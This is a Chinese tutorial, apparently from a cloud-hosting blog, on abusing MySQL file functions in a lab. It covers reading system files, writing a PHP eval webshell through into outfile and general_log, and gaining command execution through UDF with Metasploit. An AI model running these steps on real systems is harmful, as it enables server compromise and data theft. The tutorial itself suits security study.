您好,登錄后才能下訂單哦!
這篇文章主要講解了“mysql在Linux環境下如何進行文件讀取”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“mysql在Linux環境下如何進行文件讀取”吧!
load_file 在滲透過程中也就是讀取文件,或者sql盲注的時候可以通過dnslog加快注入速度。
secure_file_priv :
當 mysql secure_file_priv 配置項為空(空是""而不是NULL,NULL代表不可讀取),或者指定的一個目錄時,即可讀取文件。
mysql命令行查看 secure_file_priv 配置
show variables like "%secure_file_priv%";
讀取服務配置項:
條件:
1. 系統中關閉了 selinux
2. 知道服務配置文件路徑
3. secure_file_priv 可讀到 web 目錄
讀取mysql 配置文件
select load_file("/etc/my.cnf");
在Centos中,如果開啟了 selinux,是無法讀取到其他服務配置文件或者 /etc/passwd 的,需要將 selinux 關閉才能讀取。
在實際情況中,也許會有管理人員為了方便將 selinux 關閉。所以讀取下其他服務配置文件是值得一試的。
setenforce 0
條件:
1. 系統中關閉了 selinux
2. 知道 web絕對路徑的情況
3. secure_file_priv 可讀到 web 目錄
讀取web源碼,就可以簡單的進行審計,查找突破口啦。
條件:
1. 系統中關閉了 selinux
2. 知道 web絕對路徑的情況
3. secure_file_priv 可讀到 web 目錄
load data infile 也是讀取服務端文件的語句,同樣的也是受 secure_file_priv的限制。基本用法如下:
第一步,得有一個數據表,里頭的字段能夠存放的進我們要讀取的文件:
第二步,使用 load data infile 語句讀取指定文件內容,并存入數據庫:
假設登入的用戶權限較小,我們登入的用戶只需要用 file 、insert 和 select 權限即可,然后隨便找個數據表也可進行讀取。
如果要讀取配置文件,也是一樣的需要 關閉 selinux 才行。
如果在 windows下,就沒有這么多限制哦。
當 secure_file_priv 配置項為空或者指定了一個目錄時,且該目錄mysql有寫入權限。Mysql可寫入文件
注意:outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆蓋文件。只能創建新文件
select "123" into outfile "/tmp/123.txt";
條件:
1.知道web目錄
2. secure_file_priv 可寫到 web目錄
以php為例:
select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";
dumpfile udf提權
條件:
1. mysql plugin 目錄可寫
2. secure_file_priv 可寫到 mysql plugin 目錄
由于 Centos 中默認 plugin 目錄是不可寫入的,如果要通過寫入一個 udf文件的話,還需要設置其可寫。但是不得不承認,現實中確實有這樣的管理員,圖方便直接將目錄設置為777
坑點:
(1)udf文件版本一定要和 mysql對應。不知道mysql什么版本可以使用如下語句查詢:
select @@version;
(2)不要用 sqlmap 的linux udf文件,會報如下錯誤:
因為sqlmap的udf文件沒有 ELF 頭:
備注:sqlmap udf 路徑為 /usr/share/sqlmap/data/udf/mysql/linux/
要用 metasploit 的 udf 文件:
備注:metasploit udf 路徑為 /usr/share/metasploit-framework/data/exploits/mysql/
(3)不能錯用成 outfile ,這樣子弄出來的 udf文件無法使用。估計是 outfile 進來的不是二進制格式,而是普通的ascii碼格式:
outfile 出來的文件格式(錯誤):
dumpfile 出來的文件格式 (正確):
使用 msf 進行 udf 提權,抓包查看其流程。
注意:
默認 mysql 傳輸過程使用了 ssl加密,直接抓包看不到內容。我們需要將其切換為 不使用 ssl 加密
我們先停止 mysql 服務:
systemctl stop mysqld
給 mysql用戶 /bin/bash權限:
vim /etc/passwd
然后切換到 mysql 用戶,執行命令:
/usr/sbin/mysqld --ssl=0
參數 --ssl=0 表示傳輸不使用 ssl 加密
使用 msf 模塊
exploit/multi/mysql/mysql_udf_payload
坑點:
(1)如果msf反應 no session was created:
說明可能沒有選擇 target 和 payload
需要設置 target 為 Linux
payload 設置 linux/x86/shell/bind_tcp 就好了。高級的 meterpreter可能無法彈回來
(2)如果發現卡死了:
這時我們需要連入 mysql,執行命令:
drop function sys_exec;
這是因為之前沒有設 target 和 payload 的原因,但 msf 已經創建好函數了,只是沒有 payload 將其反彈。我們需要將原函數刪掉,讓msf 再創建一次才能彈回 shell
抓包分析
我們通過抓包,發現其直接寫入十六進制碼到 udf 文件中:
我們先置空前面 msf 的操作:刪除其上傳的 udf 文件,刪除函數(drop function語句)。我們自己手工來一遍:
復制抓包得到的 十六進制碼值,由于由 1w+字符,就不復制到這里了:
連入mysql,通過 select dumpfile語句,將這一大串 udf文件的 十六進制碼輸出到 udf文件中:
注意:由于是十六進制碼,所以輸出的時候不需要加雙引號:
select 一大串十六進制碼 into dumpfile "/usr/lib64/mysql/plugin/udf.so";
mysql 成功寫入udf文件后,使用語句 :
create function sys_eval returns string soname "udf.so";
即可創建一個函數,這個函數的名字和功能由 .so 文件已經設定好了的
我們使用的這個 udf 文件的 函數名就叫 sys_eval
直接調用即可:
select sys_eval("whoami");
條件
1.知道web路徑
本實驗在Centos7 下使用 mysql5.7 ,先不說有 selinux 和 目錄權限問題,由于 general_log 寫出來的文件權限為 640,其他用戶(apache用戶)不可讀。導致php文件無法執行。
所以general log 的實驗采用 windows 系統進行。
注意:general log 不受 secure_file_priv 的限制哦
基本環境:
secure_file_priv 為 NULL,則 load file 和 outfile/dumpfile 皆不可用。
查看 general log狀態:
show variables like "%general%";
一般 general_log 默認是關閉的,不過這個配置我們可以手動開起來。
設置日志輸出類型為文件:
有時候 mysql 默認日志輸出類型不是 FILE 而是 TABLE。
如果是TABLE的話,是不會將日志輸出為文件格式的。
需要將其類型設置為 FILE
set global log_output="FILE";
設置輸出文件路徑:
注意:windows 的路徑分隔符為 \,但在 mysql 看來,\ 是轉義符,所以我們得使用雙斜杠: \\
set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";
開啟 general log:
set global general_log=on;
由于一開啟 general log,此時在 mysql 上的所有操作都會被記錄下來。為了讓輸出的文件雜質少一點。我們細節一點最后再開啟 general log
注意:現在mysql連接方式有三種:
Unix套接字;
內存共享/命名管道;
TCP/IP套接字;
Linux或Unix環境下,輸入 mysql -uroot -p123456 登錄Mysql服務器的時候用的就是 Unix套接字 的方式登錄
Windows系統客戶端和Mysql在同一臺電腦上,可以使用命令管道和共享內存的方式
TCP/IP套接字是任何系統下都可以使用的方式,使用方式為:
mysql -h227.0.0.1 -uroot -p123456
由于Mysql有密碼的時候,是通過發送隨機挑戰碼來驗證的,而沒有密碼的時候不需要發送隨機挑戰碼。
所以我們攻擊Mysql的時候Mysql服務端必須是空密碼才可以攻擊成功。畢竟隨機的會變的東西無法猜測,就構造不了payload了
有密碼的情況:(只發了一個字節過去就卡住了)
而且TCP/IP默認采用了SSL,所以我們抓包抓的是密文包
上文也提到,要強制不使用ssl,加個參數 --ssl=0:
其實只要客戶端和服務端任意一方不使用 ssl,整個 tcp傳輸過程都是不采用 ssl的
客戶端連接:
mysql -h227.0.0.1 -uroot -p123456 --ssl=0
坑點:
mysql5.7有了個 validate_password_length 和 validate_password_policy,是設置密碼復雜度的,而且就算密碼復雜度降到最低,還是要驗證密碼長度,但密碼長度最低只能為4個字符,所以無法設置0字符的密碼。
只能降低mysql版本再做實驗。
這里我做實驗的是kali的mysql,這個可以設置空密碼。但是一開始kali的mysql有點問題。
坑點:
kali中使用的是 MariaDB數據庫,它缺省使用 Unix_socket。導致我們登錄不需要輸入密碼,直接就登進去了,抓包也抓不到 tcp傳輸包。
我們要將 MariaDB數據庫 修改成使用 tcp 方式傳輸。
修改配置插件(直接在 mysql 命令行打):
update mysql.user set plugin='mysql_native_password' where user='root';
刷新權限后即可:
flush privileges
第一步、mysql創建實驗用戶:
create user 'root'@'%'; grant all privileges on *.* to 'root'@'%';
第二步、開個wireshark,監聽lo網卡(lo網卡即為本地網卡,只會有localhost的流量)的包
第三步、mysql中輸入命令,并抓包:
第四步、整理數據包:
設置只看客戶端發送的流量
用hex模式查看
將東西全部復制出去,只保留中間的十六進制值,每個值前加個 “%”
變成如下的形式
第五步、用curl測試:
注意,這里需要加上 --output -才能顯示完全。
感謝各位的閱讀,以上就是“mysql在Linux環境下如何進行文件讀取”的內容了,經過本文的學習后,相信大家對mysql在Linux環境下如何進行文件讀取這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。